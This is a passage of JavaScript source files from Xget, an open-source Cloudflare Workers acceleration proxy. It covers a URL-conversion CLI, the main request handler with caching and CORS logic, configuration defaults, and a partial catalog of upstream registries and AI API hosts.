* @returns {PlatformEntry[]}
*/
export function loadPlatformsFromSource(jsSource) {
const platforms = extractPlatformsModule(jsSource);
return createPlatformEntries(platforms);
}
/**
* @param {string} sourceUrl
* @returns {Promise}
*/
async function loadPlatforms(sourceUrl) {
const jsSource = await httpGet(sourceUrl);
return loadPlatformsFromSource(jsSource);
}
/**
* @param {string | undefined} value
* @returns {string | null}
*/
function normalizeBaseUrl(value) {
if (typeof value !== 'string' || !value) {
return null;
}
try {
const url = new URL(value);
url.pathname = url.pathname.replace(/\/+$/, '');
url.search = '';
url.hash = '';
return url.toString().replace(/\/$/, '');
} catch {
fail(`Invalid --base-url value "${value}". Expected an absolute URL.`);
}
}
/**
* Resolve an explicit or environment-provided base URL without inventing a fallback instance.
* @param {string | undefined} optionValue
* @param {string | undefined} envValue
* @returns {string | null}
*/
export function resolveBaseUrl(optionValue, envValue) {
return normalizeBaseUrl(optionValue ?? envValue);
}
/**
* @param {string} value
* @param {string} flagName
* @returns {URL}
*/
function normalizeAbsoluteUrl(value, flagName) {
try {
return new URL(value);
} catch {
fail(`Invalid ${flagName} value "${value}". Expected an absolute URL.`);
}
}
/**
* @param {string} pathname
* @returns {string}
*/
function normalizePathname(pathname) {
if (!pathname || pathname === '/') {
return '';
}
return pathname.replace(/\/+$/, '');
}
/**
* @param {string} pathname
* @param {string} prefix
* @param {boolean} [caseInsensitive]
* @returns {boolean}
*/
function matchesPathPrefix(pathname, prefix, caseInsensitive = false) {
const normalizedPath = normalizePathname(pathname);
const normalizedPrefix = normalizePathname(prefix);
if (!normalizedPrefix) {
return true;
}
if (!normalizedPath) {
return false;
}
if (caseInsensitive) {
const lowerPath = normalizedPath.toLowerCase();
const lowerPrefix = normalizedPrefix.toLowerCase();
return lowerPath === lowerPrefix || lowerPath.startsWith(`${lowerPrefix}/`);
}
return normalizedPath === normalizedPrefix || normalizedPath.startsWith(`${normalizedPrefix}/`);
}
/**
* @param {string} pathname
* @param {string} prefix
* @param {boolean} [caseInsensitive]
* @returns {string}
*/
function stripPathPrefix(pathname, prefix, caseInsensitive = false) {
const normalizedPrefix = normalizePathname(prefix);
if (!normalizedPrefix) {
return pathname;
}
const flags = caseInsensitive ? 'i' : '';
const escapedPrefix = normalizedPrefix.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
return pathname.replace(new RegExp(`^${escapedPrefix}(?=/|$)`, flags), '');
}
/**
* @param {PlatformEntry[]} platforms
* @param {string} key
* @returns {PlatformEntry | null}
*/
function findPlatformByKey(platforms, key) {
return platforms.find(platform => platform.key === key) ?? null;
}
/**
* @param {PlatformEntry[]} platforms
* @param {URL} originUrl
* @returns {PlatformEntry | null}
*/
function findSpecialPlatformForUrl(platforms, originUrl) {
if (originUrl.hostname === 'ghcr.io') {
if (originUrl.pathname.startsWith('/v2/homebrew/')) {
return findPlatformByKey(platforms, 'homebrew-bottles');
}
return findPlatformByKey(platforms, 'cr-ghcr');
}
return null;
}
/**
* @param {PlatformEntry[]} platforms
* @param {URL} originUrl
* @returns {PlatformEntry | null}
*/
export function findPlatformForUrl(platforms, originUrl) {
const specialPlatform = findSpecialPlatformForUrl(platforms, originUrl);
if (specialPlatform) {
return specialPlatform;
}
const matchingPlatforms = platforms
.filter(platform => {
const upstreamUrl = new URL(platform.upstream);
if (upstreamUrl.origin !== originUrl.origin) {
return false;
}
const caseInsensitive = platform.key === 'homebrew' || platform.key === 'homebrew-api';
return matchesPathPrefix(originUrl.pathname, upstreamUrl.pathname, caseInsensitive);
})
.sort((left, right) => {
const leftPathLength = normalizePathname(new URL(left.upstream).pathname).length;
const rightPathLength = normalizePathname(new URL(right.upstream).pathname).length;
return rightPathLength - leftPathLength;
});
return matchingPlatforms[0] ?? null;
}
/**
* @param {PlatformEntry} platform
* @param {URL} originUrl
* @returns {string}
*/
export function getConvertedSuffix(platform, originUrl) {
let pathname = originUrl.pathname;
if (platform.key === 'homebrew') {
pathname = stripPathPrefix(pathname, '/Homebrew', true);
} else if (platform.key === 'homebrew-api') {
pathname = stripPathPrefix(pathname, '/api', true);
} else if (platform.key === 'crates') {
pathname = stripPathPrefix(pathname, CRATES_API_PREFIX, true);
} else {
const upstreamPath = new URL(platform.upstream).pathname;
pathname = stripPathPrefix(pathname, upstreamPath);
}
if (!pathname) {
pathname = '/';
}
if (!pathname.startsWith('/')) {
pathname = `/${pathname}`;
}
return `${pathname}${originUrl.search}${originUrl.hash}`;
}
/**
* @param {string} baseUrl
* @param {PlatformEntry} platform
* @param {URL} originUrl
* @returns {string}
*/
export function buildConvertedUrl(baseUrl, platform, originUrl) {
const suffix = getConvertedSuffix(platform, originUrl);
return `${baseUrl}${platform.pathPrefix}${suffix.replace(/^\/+/, '')}`;
}
/**
* @param {string} line
* @returns {Omit | null}
*/
function parseMarkdownHeading(line) {
const match = line.trim().match(/^(#{1,6})\s+(.+?)\s*$/);
if (!match) {
return null;
}
const text = match[2].trim();
return {
level: match[1].length,
text,
raw: `${match[1]} ${text}`
};
}
/**
* @param {string} heading
* @returns {string}
*/
function normalizeHeadingQuery(heading) {
return heading
.replace(/^#{1,6}\s+/, '')
.replace(/^[^\p{L}\p{N}]+/u, '')
.trim()
.toLowerCase();
}
/**
* @param {string} line
* @returns {boolean}
*/
function isCodeFenceDelimiter(line) {
return /^(```|~~~)/.test(line.trim());
}
/**
* @param {string[]} lines
* @returns {MarkdownHeading[]}
*/
function collectMarkdownHeadings(lines) {
/** @type {Array} */
const stack = [];
let inCodeFence = false;
return lines.flatMap((line, index) => {
if (isCodeFenceDelimiter(line)) {
inCodeFence = !inCodeFence;
return [];
}
if (inCodeFence) {
return [];
}
const heading = parseMarkdownHeading(line);
if (!heading) {
return [];
}
let parent = null;
for (let level = heading.level - 1; level >= 1; level -= 1) {
if (stack[level]) {
parent = stack[level] ?? null;
break;
}
}
stack[heading.level] = heading.text;
stack.length = heading.level + 1;
return [
{
index,
...heading,
parent
}
];
});
}
/**
* @param {MarkdownHeading} heading
* @returns {string}
*/
function formatHeadingLabel(heading) {
return heading.parent ? `${heading.raw} (under ${heading.parent})` : heading.raw;
}
/**
* @param {string[]} lines
* @param {MarkdownHeading} heading
* @returns {string}
*/
function sliceMarkdownSection(lines, heading) {
let endIndex = lines.length;
let inCodeFence = false;
for (let index = heading.index + 1; index < lines.length; index += 1) {
if (isCodeFenceDelimiter(lines[index])) {
inCodeFence = !inCodeFence;
continue;
}
if (inCodeFence) {
continue;
}
const candidate = parseMarkdownHeading(lines[index]);
if (candidate && candidate.level <= heading.level) {
endIndex = index;
break;
}
}
return lines.slice(heading.index, endIndex).join('\n').trimEnd();
}
/**
* @param {string[]} lines
* @param {string} heading
* @returns {MarkdownHeading}
*/
function findUniqueHeading(lines, heading) {
const headings = collectMarkdownHeadings(lines);
const query = normalizeHeadingQuery(heading);
const matches = headings.filter(candidate => normalizeHeadingQuery(candidate.text) === query);
if (matches.length === 0) {
fail(`Could not find README heading "${heading}".`);
}
if (matches.length > 1) {
fail(
`Heading "${heading}" matched multiple sections: ${matches.map(formatHeadingLabel).join('; ')}`
);
}
return matches[0];
}
/**
* @param {MarkdownHeading[]} headings
* @param {string | undefined} match
* @returns {MarkdownHeading[]}
*/
function filterHeadingsByMatch(headings, match) {
if (!match) {
return headings;
}
const query = match.trim().toLowerCase();
return headings.filter(heading => {
const haystacks = [heading.text, heading.raw, heading.parent ?? ''];
return haystacks.some(value => value.toLowerCase().includes(query));
});
}
/**
* @param {string} markdown
* @param {number} [minLevel]
* @param {number} [maxLevel]
* @returns {MarkdownHeading[]}
*/
export function listMarkdownHeadings(markdown, minLevel = 2, maxLevel = 6) {
const lines = markdown.split(/\r?\n/);
return collectMarkdownHeadings(lines)
.map(heading => ({
...heading,
parent: heading.level <= minLevel ? null : heading.parent
}))
.filter(heading => heading.level >= minLevel && heading.level <= maxLevel);
}
/**
* @param {string} markdown
* @param {string} heading
* @returns {MarkdownHeading}
*/
export function resolveMarkdownHeading(markdown, heading) {
return findUniqueHeading(markdown.split(/\r?\n/), heading);
}
/**
* @param {string} markdown
* @param {string} heading
* @returns {string}
*/
export function extractMarkdownSection(markdown, heading) {
const lines = markdown.split(/\r?\n/);
const resolvedHeading = findUniqueHeading(lines, heading);
return sliceMarkdownSection(lines, resolvedHeading);
}
/**
* @param {string} baseUrl
* @param {string} markdownSection
* @returns {string}
*/
export function rewriteUseCasesBaseUrl(baseUrl, markdownSection) {
const host = new URL(baseUrl).host;
return markdownSection
.replaceAll(DEFAULT_PUBLIC_BASE_URL, baseUrl)
.replaceAll(DEFAULT_PUBLIC_HOST, host);
}
/**
* @param {string} useCasesMarkdown
* @param {string | undefined} heading
* @param {string | undefined} match
* @returns {{ heading: string, content: string }}
*/
export function selectUseCaseSection(useCasesMarkdown, heading, match) {
if (heading && match) {
fail('Use either --heading or --match for snippet, not both.', 2);
}
if (!heading && !match) {
return {
heading: README_USE_CASES_HEADING,
content: useCasesMarkdown
};
}
const lines = useCasesMarkdown.split(/\r?\n/);
if (heading) {
const resolvedHeading = findUniqueHeading(lines, heading);
return {
heading: resolvedHeading.raw,
content: sliceMarkdownSection(lines, resolvedHeading)
};
}
const matchedHeadings = filterHeadingsByMatch(
listMarkdownHeadings(useCasesMarkdown, 3, 4),
match
);
if (matchedHeadings.length === 0) {
fail(`Could not find a README Use Cases heading matching "${match}".`, 2);
}
if (matchedHeadings.length > 1) {
fail(
`Match "${match}" was ambiguous. Candidates: ${matchedHeadings.map(formatHeadingLabel).join('; ')}`,
2
);
}
return {
heading: matchedHeadings[0].raw,
content: sliceMarkdownSection(lines, matchedHeadings[0])
};
}
/**
* @param {string} baseUrl
* @param {string} readmeMarkdown
* @param {{ heading?: string, match?: string }} [options]
* @returns {UseCasesSnippet}
*/
export function createUseCasesSnippet(baseUrl, readmeMarkdown, options = {}) {
const useCasesSection = extractMarkdownSection(readmeMarkdown, README_USE_CASES_HEADING);
const selectedSection = selectUseCaseSection(useCasesSection, options.heading, options.match);
return {
section: 'use-cases',
heading: selectedSection.heading,
baseUrl,
content: rewriteUseCasesBaseUrl(baseUrl, selectedSection.content)
};
}
/**
* @param {unknown} value
* @returns {void}
*/
function renderJson(value) {
console.log(JSON.stringify(value, null, 2));
}
/**
* @param {PlatformEntry[]} rows
* @returns {void}
*/
function renderTable(rows) {
/** @type {Array} */
const headers = ['key', 'category', 'pathPrefix', 'upstream'];
const widths = headers.map(header =>
Math.max(header.length, ...rows.map(row => String(row[header]).length))
);
/**
* @param {Record} row
* @returns {string}
*/
const formatRow = row =>
headers.map((header, index) => String(row[header]).padEnd(widths[index])).join(' ');
console.log(formatRow(Object.fromEntries(headers.map(header => [header, header]))));
console.log(widths.map(width => '-'.repeat(width)).join(' '));
rows.forEach(row => console.log(formatRow(row)));
}
/**
* @param {UseCasesSnippet['content']} content
* @returns {void}
*/
function renderTextContent(content) {
console.log(content);
}
/**
* @param {MarkdownHeading[]} headings
* @returns {void}
*/
function renderTextHeadings(headings) {
headings.forEach(heading => {
if (heading.parent) {
console.log(`${heading.text} (under ${heading.parent})`);
return;
}
console.log(heading.text);
});
}
/**
* @param {CliOptions} options
* @param {string} key
* @returns {string | undefined}
*/
function getStringOption(options, key) {
const value = options[key];
return typeof value === 'string' ? value : undefined;
}
async function main() {
const { command, options } = parseArgs(process.argv.slice(2));
if (options.help || command === 'help') {
printHelp();
return;
}
const sourceUrl = getStringOption(options, 'source-url') ?? DEFAULT_SOURCE_URL;
const format = getStringOption(options, 'format') ?? 'json';
if (command === 'platforms') {
const platforms = await loadPlatforms(sourceUrl);
if (format === 'json') {
renderJson({
sourceUrl,
count: platforms.length,
platforms
});
return;
}
if (format === 'table') {
renderTable(platforms);
return;
}
fail('Unsupported --format for platforms. Use json or table.', 2);
}
if (command === 'convert') {
const baseUrl =
resolveBaseUrl(getStringOption(options, 'base-url'), process.env.XGET_BASE_URL) ??
fail(MISSING_BASE_URL_HINT, 2);
const rawUrl = getStringOption(options, 'url');
if (!rawUrl) {
fail('Missing --url for convert.', 2);
}
const originUrl = normalizeAbsoluteUrl(rawUrl, '--url');
const platforms = await loadPlatforms(sourceUrl);
const platform = findPlatformForUrl(platforms, originUrl);
if (!platform) {
fail(`No current Xget platform matched upstream origin ${originUrl.origin}.`, 3);
}
const convertedUrl = buildConvertedUrl(baseUrl, platform, originUrl);
const payload = {
sourceUrl,
baseUrl,
upstreamUrl: originUrl.toString(),
matchedPlatform: platform,
convertedUrl
};
if (format === 'json') {
renderJson(payload);
return;
}
if (format === 'text') {
console.log(payload.convertedUrl);
return;
}
fail('Unsupported --format for convert. Use json or text.', 2);
}
if (command === 'topics') {
const readmeUrl = getStringOption(options, 'readme-url') ?? DEFAULT_README_URL;
const readmeMarkdown = await httpGet(readmeUrl);
const useCasesSection = extractMarkdownSection(readmeMarkdown, README_USE_CASES_HEADING);
const topics = filterHeadingsByMatch(
listMarkdownHeadings(useCasesSection, 3, 4),
getStringOption(options, 'match')
);
const payload = {
sourceUrl: readmeUrl,
section: 'use-cases',
heading: README_USE_CASES_HEADING,
match: getStringOption(options, 'match') ?? null,
count: topics.length,
topics: topics.map(({ index, ...topic }) => topic)
};
if (format === 'json') {
renderJson(payload);
return;
}
if (format === 'text') {
renderTextHeadings(topics);
return;
}
fail('Unsupported --format for topics. Use json or text.', 2);
}
if (command === 'snippet') {
const baseUrl =
resolveBaseUrl(getStringOption(options, 'base-url'), process.env.XGET_BASE_URL) ??
fail(MISSING_BASE_URL_HINT, 2);
if (getStringOption(options, 'preset')) {
fail(
'`--preset` is no longer supported. `snippet` now fetches the README Use Cases section.',
2
);
}
const readmeUrl = getStringOption(options, 'readme-url') ?? DEFAULT_README_URL;
const readmeMarkdown = await httpGet(readmeUrl);
const snippet = {
sourceUrl: readmeUrl,
...createUseCasesSnippet(baseUrl, readmeMarkdown, {
heading: getStringOption(options, 'heading'),
match: getStringOption(options, 'match')
})
};
if (format === 'json') {
renderJson(snippet);
return;
}
if (format === 'text') {
renderTextContent(snippet.content);
return;
}
fail('Unsupported --format for snippet. Use json or text.', 2);
}
fail(`Unknown command "${command}". Use --help for supported commands.`, 2);
}
const entryHref = process.argv[1] ? pathToFileURL(process.argv[1]).href : null;
if (entryHref === import.meta.url) {
main().catch(error => fail(getErrorMessage(error)));
}
================================================
FILE: src/app/handle-request.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
import { createRequestContext } from './request-context.js';
import {
createHomepageRedirect,
normalizeEffectivePath,
resolveTarget
} from '../routing/resolve-target.js';
import { finalizeResponse } from '../response/finalize-response.js';
import { handleDockerAuth } from '../protocols/docker.js';
import { getDefaultCache, tryReadCachedResponse } from '../upstream/cache.js';
import { fetchUpstreamResponse } from '../upstream/fetch-upstream.js';
import { PerformanceMonitor, addPerformanceHeaders } from '../utils/performance.js';
import { addCorsHeaders, addSecurityHeaders, createErrorResponse } from '../utils/security.js';
import { getAllowedMethods, isProtocolRequest, validateRequest } from '../utils/validation.js';
/**
* Main request handler with comprehensive caching, retry logic, and security measures.
* @param {Request} request - The incoming HTTP request
* @param {Record} env - Cloudflare Workers environment variables for runtime config overrides
* @param {ExecutionContext} ctx - Cloudflare Workers execution context for background tasks
* @returns {Promise} The HTTP response with appropriate headers and body
*/
export async function handleRequest(request, env, ctx) {
let response;
const monitor = new PerformanceMonitor();
const requestContext = createRequestContext(request, env);
const { config, isCorsPreflight, isDocker, url } = requestContext;
try {
if (isCorsPreflight) {
const requestedMethod = request.headers.get('Access-Control-Request-Method') || '';
const allowedMethods = getAllowedMethods(
new Request(request.url, { method: requestedMethod || 'GET' }),
url,
config
);
if (!allowedMethods.includes(requestedMethod)) {
response = createErrorResponse('Method not allowed', 405);
} else {
const headers = addCorsHeaders(new Headers(), request, config);
if (!headers.has('Access-Control-Allow-Origin')) {
response = createErrorResponse('Origin not allowed', 403);
} else {
headers.set('Access-Control-Allow-Methods', allowedMethods.join(', '));
headers.set('Access-Control-Max-Age', '86400');
addSecurityHeaders(headers);
response = new Response(null, { status: 204, headers });
}
}
}
// Handle Docker API version check
else if (isDocker && (url.pathname === '/v2/' || url.pathname === '/v2')) {
const headers = new Headers({
'Docker-Distribution-Api-Version': 'registry/2.0',
'Content-Type': 'application/json'
});
addSecurityHeaders(headers);
response = new Response('{}', { status: 200, headers });
}
// Redirect root path or invalid platforms to GitHub repository
else if (url.pathname === '/' || url.pathname === '') {
response = createHomepageRedirect();
} else {
const validation = validateRequest(request, url, config, requestContext);
if (!validation.valid) {
response = createErrorResponse(
validation.error || 'Validation failed',
validation.status || 400
);
} else {
const normalizedPath = normalizeEffectivePath(url, isDocker);
let effectivePath = url.pathname;
if ('response' in normalizedPath) {
const { response: normalizedResponse } = normalizedPath;
response = normalizedResponse;
} else {
const { effectivePath: normalizedEffectivePath } = normalizedPath;
effectivePath = normalizedEffectivePath;
}
if (!response) {
// Handle Docker authentication explicitly
if (
isDocker &&
(url.pathname === '/v2/auth' || /^\/cr\/[^/]+\/v2\/auth\/?$/.test(url.pathname))
) {
response = await handleDockerAuth(request, url, config);
} else {
const resolvedTarget = resolveTarget(url, effectivePath, config.PLATFORMS);
if ('response' in resolvedTarget) {
const { response: targetResponse } = resolvedTarget;
response = targetResponse;
} else {
const { cacheTargetUrl, platform, targetUrl } = resolvedTarget;
const authorization = request.headers.get('Authorization');
const hasSensitiveHeaders = Boolean(
authorization ||
request.headers.get('Cookie') ||
request.headers.get('Proxy-Authorization')
);
const canUseCache = request.method === 'GET' || request.method === 'HEAD';
const shouldPassthroughRequest = isProtocolRequest(requestContext) || !canUseCache;
const cache = getDefaultCache();
response = await tryReadCachedResponse({
cache,
cacheTargetUrl,
canUseCache,
hasSensitiveHeaders,
monitor,
request,
requestContext
});
if (!response) {
const {
response: upstreamResponse,
responseGeneratedLocally: upstreamResponseGeneratedLocally
} = await fetchUpstreamResponse({
authorization,
canUseCache,
config,
effectivePath,
monitor,
platform,
request,
requestContext,
shouldPassthroughRequest,
targetUrl
});
response = await finalizeResponse({
cache,
cacheTargetUrl,
canUseCache,
config,
ctx,
effectivePath,
hasSensitiveHeaders,
monitor,
platform,
request,
requestContext,
response: upstreamResponse,
responseGeneratedLocally: upstreamResponseGeneratedLocally,
url
});
}
}
}
}
}
}
} catch (error) {
console.error('Error handling request:', error);
response = createErrorResponse('Internal Server Error', 500);
}
// Ensure performance headers are added to the final response
monitor.mark('complete');
const responseWithCors = (() => {
const headers = addCorsHeaders(new Headers(response.headers), request, config);
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers
});
})();
return isProtocolRequest(requestContext)
? responseWithCors
: addPerformanceHeaders(responseWithCors, monitor);
}
================================================
FILE: src/app/request-context.js
================================================
import { CONFIG, createConfig } from '../config/index.js';
import { getRequestTraits } from '../utils/validation.js';
/**
* Builds the shared request context used by all runtime adapters.
* @param {Request} request
* @param {Record} env
* @returns {{
* config: import('../config/index.js').ApplicationConfig,
* env: Record,
* isAI: boolean,
* isCorsPreflight: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean,
* request: Request,
* url: URL
* }} Request context with parsed config, URL, and protocol traits.
*/
export function createRequestContext(request, env) {
const runtimeEnv = env && typeof env === 'object' ? env : {};
const config = env === undefined ? CONFIG : createConfig(runtimeEnv);
const url = new URL(request.url);
const traits = getRequestTraits(request, url);
return {
...traits,
config,
env: runtimeEnv,
isCorsPreflight:
request.method === 'OPTIONS' &&
request.headers.has('Origin') &&
request.headers.has('Access-Control-Request-Method'),
request,
url
};
}
================================================
FILE: src/config/index.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
import { PLATFORMS } from './platform-catalog.js';
/**
* Security-related configuration options for request validation and CORS.
* @typedef {object} SecurityConfig
* @property {string[]} ALLOWED_METHODS - List of allowed HTTP methods for incoming requests
* @property {string[]} ALLOWED_ORIGINS - List of allowed CORS origins (use ['*'] for all origins)
* @property {number} MAX_PATH_LENGTH - Maximum allowed URL path length in characters
* @example
* // Default security config
* const security = {
* ALLOWED_METHODS: ['GET', 'HEAD'],
* ALLOWED_ORIGINS: ['*'],
* MAX_PATH_LENGTH: 2048
* };
* @example
* // Custom security config with restricted origins
* const security = {
* ALLOWED_METHODS: ['GET', 'HEAD', 'POST'],
* ALLOWED_ORIGINS: ['https://example.com', 'https://app.example.com'],
* MAX_PATH_LENGTH: 4096
* };
*/
/**
* Complete application configuration object with runtime settings.
*
* This configuration controls timeout behavior, retry logic, caching, security policies,
* and platform URL mappings. All values can be overridden via environment variables
* in Cloudflare Workers.
* @typedef {object} ApplicationConfig
* @property {number} TIMEOUT_SECONDS - Request timeout in seconds (default: 30)
* @property {number} MAX_RETRIES - Maximum number of retry attempts for failed requests (default: 3)
* @property {number} RETRY_DELAY_MS - Delay between retry attempts in milliseconds (default: 1000)
* @property {number} CACHE_DURATION - Cache duration in seconds for successful responses (default: 1800)
* @property {SecurityConfig} SECURITY - Security-related configurations
* @property {{ [key: string]: string }} PLATFORMS - Platform-specific base URL mappings
* @example
* // Default configuration
* const config = {
* TIMEOUT_SECONDS: 30,
* MAX_RETRIES: 3,
* RETRY_DELAY_MS: 1000,
* CACHE_DURATION: 1800,
* SECURITY: {
* ALLOWED_METHODS: ['GET', 'HEAD'],
* ALLOWED_ORIGINS: ['*'],
* MAX_PATH_LENGTH: 2048
* },
* PLATFORMS: { gh: 'https://github.com', ... }
* };
* @example
* // Configuration with environment overrides
* const env = {
* TIMEOUT_SECONDS: '60',
* MAX_RETRIES: '5',
* CACHE_DURATION: '3600'
* };
* const config = createConfig(env);
* // Results in timeout of 60s, 5 retries, 1 hour cache
*/
/**
* Creates application configuration with environment variable overrides.
*
* This function merges default configuration values with environment-specific overrides
* provided by Cloudflare Workers. Environment variables are parsed as integers where
* applicable, and fallback to defaults if parsing fails or values are missing.
*
* **Environment variable mapping:**
* - `TIMEOUT_SECONDS` - Override default timeout (default: 30)
* - `MAX_RETRIES` - Override max retry attempts (default: 3)
* - `RETRY_DELAY_MS` - Override retry delay (default: 1000)
* - `CACHE_DURATION` - Override cache TTL (default: 1800 = 30 minutes)
* - `ALLOWED_METHODS` - Comma-separated HTTP methods (default: 'GET,HEAD')
* - `ALLOWED_ORIGINS` - Comma-separated CORS origins (default: '*')
* - `MAX_PATH_LENGTH` - Override max path length (default: 2048)
* @param {Record} env - Environment variables from Cloudflare Workers env object
* @returns {ApplicationConfig} Complete application configuration with applied overrides
* @example
* // Create config with defaults (no environment variables)
* const config = createConfig();
* console.log(config.TIMEOUT_SECONDS); // 30
* console.log(config.CACHE_DURATION); // 1800
* @example
* // Create config with environment overrides
* const env = {
* TIMEOUT_SECONDS: '60',
* MAX_RETRIES: '5',
* CACHE_DURATION: '3600',
* ALLOWED_METHODS: 'GET,HEAD,POST,PUT'
* };
* const config = createConfig(env);
* console.log(config.TIMEOUT_SECONDS); // 60
* console.log(config.MAX_RETRIES); // 5
* console.log(config.CACHE_DURATION); // 3600 (1 hour)
* console.log(config.SECURITY.ALLOWED_METHODS); // ['GET', 'HEAD', 'POST', 'PUT']
* @example
* // Invalid environment values fallback to defaults
* const env = {
* TIMEOUT_SECONDS: 'invalid',
* MAX_RETRIES: 'not-a-number'
* };
* const config = createConfig(env);
* console.log(config.TIMEOUT_SECONDS); // 30 (default)
* console.log(config.MAX_RETRIES); // 3 (default)
* @example
* // Custom CORS origins
* const env = {
* ALLOWED_ORIGINS: 'https://example.com,https://app.example.com'
* };
* const config = createConfig(env);
* console.log(config.SECURITY.ALLOWED_ORIGINS);
* // ['https://example.com', 'https://app.example.com']
*/
export function createConfig(env = {}) {
const allowedMethods =
typeof env.ALLOWED_METHODS === 'string'
? env.ALLOWED_METHODS.split(',')
.map(method => method.trim())
.filter(Boolean)
: ['GET', 'HEAD'];
const allowedOrigins =
typeof env.ALLOWED_ORIGINS === 'string'
? env.ALLOWED_ORIGINS.split(',')
.map(origin => origin.trim())
.filter(Boolean)
: ['*'];
return {
TIMEOUT_SECONDS: parseInt(String(env.TIMEOUT_SECONDS), 10) || 30,
MAX_RETRIES: parseInt(String(env.MAX_RETRIES), 10) || 3,
RETRY_DELAY_MS: parseInt(String(env.RETRY_DELAY_MS), 10) || 1000,
CACHE_DURATION: parseInt(String(env.CACHE_DURATION), 10) || 1800, // 30 minutes
SECURITY: {
ALLOWED_METHODS: allowedMethods.length ? allowedMethods : ['GET', 'HEAD'],
ALLOWED_ORIGINS: allowedOrigins.length ? allowedOrigins : ['*'],
MAX_PATH_LENGTH: parseInt(String(env.MAX_PATH_LENGTH), 10) || 2048
},
PLATFORMS
};
}
/**
* Default application configuration instance.
*
* This is a pre-instantiated configuration object using default values with no
* environment overrides. In production (Cloudflare Workers), you should use
* `createConfig(env)` instead to allow runtime configuration.
* @type {ApplicationConfig}
* @example
* // Import default config
* import { CONFIG } from './config/index.js';
* console.log(CONFIG.TIMEOUT_SECONDS); // 30
* @example
* // Check platform availability
* if (CONFIG.PLATFORMS.npm) {
* console.log('npm platform available');
* }
*/
export const CONFIG = createConfig();
================================================
FILE: src/config/platform-catalog.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Platform base URLs used by request routing.
* @type {{ [key: string]: string }}
*/
export const PLATFORM_CATALOG = {
// Code Repositories & Version Control
gh: 'https://github.com',
gist: 'https://gist.github.com',
gl: 'https://gitlab.com',
gitea: 'https://gitea.com',
codeberg: 'https://codeberg.org',
sf: 'https://sourceforge.net',
aosp: 'https://android.googlesource.com',
hf: 'https://huggingface.co',
civitai: 'https://civitai.com',
// Package Managers
npm: 'https://registry.npmjs.org',
pypi: 'https://pypi.org',
'pypi-files': 'https://files.pythonhosted.org',
conda: 'https://repo.anaconda.com',
'conda-community': 'https://conda.anaconda.org',
maven: 'https://repo1.maven.org',
apache: 'https://downloads.apache.org',
gradle: 'https://plugins.gradle.org',
homebrew: 'https://github.com/Homebrew',
'homebrew-api': 'https://formulae.brew.sh/api',
'homebrew-bottles': 'https://ghcr.io',
rubygems: 'https://rubygems.org',
cran: 'https://cran.r-project.org',
cpan: 'https://www.cpan.org',
ctan: 'https://tug.ctan.org',
golang: 'https://proxy.golang.org',
nuget: 'https://api.nuget.org',
crates: 'https://crates.io',
packagist: 'https://repo.packagist.org',
flathub: 'https://dl.flathub.org',
// Linux Distributions
debian: 'https://deb.debian.org',
ubuntu: 'https://archive.ubuntu.com',
fedora: 'https://dl.fedoraproject.org',
rocky: 'https://download.rockylinux.org',
opensuse: 'https://download.opensuse.org',
arch: 'https://geo.mirror.pkgbuild.com',
// Other Resources
arxiv: 'https://arxiv.org',
fdroid: 'https://f-droid.org',
jenkins: 'https://updates.jenkins.io',
// AI Inference Providers
'ip-openai': 'https://api.openai.com',
'ip-anthropic': 'https://api.anthropic.com',
'ip-gemini': 'https://generativelanguage.googleapis.com',
'ip-vertexai': 'https://aiplatform.googleapis.com',
'ip-cohere': 'https://api.cohere.ai',
'ip-mistralai': 'https://api.mistral.ai',
'ip-xai': 'https://api.x.ai',
'ip-githubmodels': 'https://models.github.ai',
'ip-nvidiaapi': 'https://integrate.api.nvidia.com',
'ip-perplexity': 'https://api.perplexity.ai',
'ip-braintrust': 'https://api.braintrust.dev',
'ip-groq': 'https://api.groq.com',
'ip-cerebras': 'https://api.cerebras.ai',
'ip-sambanova': 'https://api.sambanova.ai',
'ip-siray': 'https://api.siray.ai',
'ip-huggingface': 'https://router.huggingface.co',
'ip-together': 'https://api.together.xyz',
'ip-replicate': 'https://api.replicate.com',
'ip-fireworks': 'https://api.fireworks.ai',
'ip-nebius': 'https://api.studio.nebius.ai',
'ip-jina': 'https://api.jina.ai',
'ip-voyageai': 'https://api.voyageai.com',
'ip-falai': 'https://fal.run',
'ip-novita': 'https://api.novita.ai',
'ip-burncloud': 'https://ai.burncloud.com',
'ip-openrouter': 'https://openrouter.ai',
'ip-poe': 'https://api.poe.com',
'ip-featherlessai': 'https://api.featherless.ai',
'ip-hyperbolic': 'https://api.hyperbolic.xyz',
// Container Registries
'cr-docker': 'https://registry-1.docker.io',
'cr-quay': 'https://quay.io',
'cr-gcr': 'https://gcr.io',
'cr-mcr': 'https://mcr.microsoft.com',
'cr-ecr': 'https://public.ecr.aws',
'cr-ghcr': 'https://ghcr.io',
'cr-gitlab': 'https://registry.gitlab.com',
'cr-redhat': 'https://registry.redhat.io',
'cr-oracle': 'https://container-registry.oracle.com',
'cr-cloudsmith': 'https://docker.cloudsmith.io',
'cr-digitalocean': 'https://registry.digitalocean.com',
'cr-vmware': 'https://projects.registry.vmware.com',
'cr-k8s': 'https://registry.k8s.io',
'cr-heroku': 'https://registry.heroku.com',
